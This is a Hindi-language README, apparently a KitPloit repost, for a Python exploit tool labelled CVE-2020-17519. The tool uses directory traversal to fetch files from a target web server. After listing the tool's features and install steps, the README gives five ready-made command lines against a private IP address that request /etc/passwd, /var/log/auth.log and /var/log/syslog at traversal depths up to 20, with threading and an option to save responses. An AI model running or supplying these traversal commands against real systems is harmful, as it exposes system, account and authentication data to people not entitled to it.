CVE-2020-17519

लॉग ट्रैवर्सल टूल

एक Python उपकरण जो लक्ष्य URL से लॉग फ़ाइलों का अनुरोध करने के लिए डायरेक्टरी ट्रैवर्सल तकनीक का उपयोग करता है। यह रीयल-टाइम प्रगति प्रदर्शित करता है, प्रॉक्सी कॉन्फ़िगरेशन का समर्थन करता है, और वैध प्रतिक्रियाओं को वैकल्पिक रूप से सहेजता है।

विशेषताएँ

• कॉन्फ़िगरेबल गहराई के साथ डायरेक्टरी ट्रैवर्सल
  डायरेक्टरी ट्रैवर्सल के लिए कॉन्फ़िगरेबल गहराई का उपयोग करता है।
• एकल फ़ाइल या अनेक फ़ाइल पथ
  एकल फ़ाइल पथ या फ़ाइल से अनेक पथों का अनुरोध करने का समर्थन करता है।
• मल्टी-थ्रेडिंग समर्थन
  एकाधिक थ्रेड का उपयोग करके समवर्ती रूप से अनुरोध निष्पादित करता है।
• प्रॉक्सी समर्थन
  अनुरोधों के लिए प्रॉक्सी कॉन्फ़िगर करने की अनुमति देता है।
• वैध प्रतिक्रियाएँ सहेजें
  वैध प्रतिक्रियाओं को अलग-अलग फ़ाइलों में सहेजता है।
• रीयल-टाइम प्रगति प्रदर्शन
  pwntools का उपयोग करके रीयल टाइम में प्रगति दिखाता है।

आवश्यकताएँ

• Python 3.6 या उससे ऊपर
• Python पैकेज: requests और pwntools (pwn)
• मानक लाइब्रेरी: argparse, os, concurrent.futures, threading

स्थापना

1. रिपॉजिटरी क्लोन करें
   root@kitploit:~

   git clone https://github.com/GazettEl/CVE-2020-17519.git
   pip install requests pwntools
   

उपयोग

इस उपकरण को विभिन्न विकल्पों के साथ कमांड लाइन से निष्पादित किया जा सकता है। नीचे कुछ उदाहरण दिए गए हैं:

उदाहरण 1: एकल फ़ाइल पथ का अनुरोध करें

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-path /var/log/syslog --threads 1 --save

उदाहरण 2: किसी सूची से अनेक फ़ाइल पथों का अनुरोध करें

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-list file_paths.txt --threads 4 --proxy none

उदाहरण 3: प्रॉक्सी अक्षम करके चलाएँ

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 10 --file-path /var/log/auth.log --threads 2 --proxy none

उदाहरण 4: फ़ाइल सूची का उपयोग करें और वैध प्रतिक्रियाएँ सहेजें

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 15 --file-list paths.txt --threads 4 --save

उदाहरण 5: बढ़ी हुई गहराई के साथ एकल फ़ाइल का अनुरोध करें

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 20 --file-path /etc/passwd --threads 1

अधिक जानकारी के लिए, स्रोत कोड और इनलाइन टिप्पणियाँ देखें।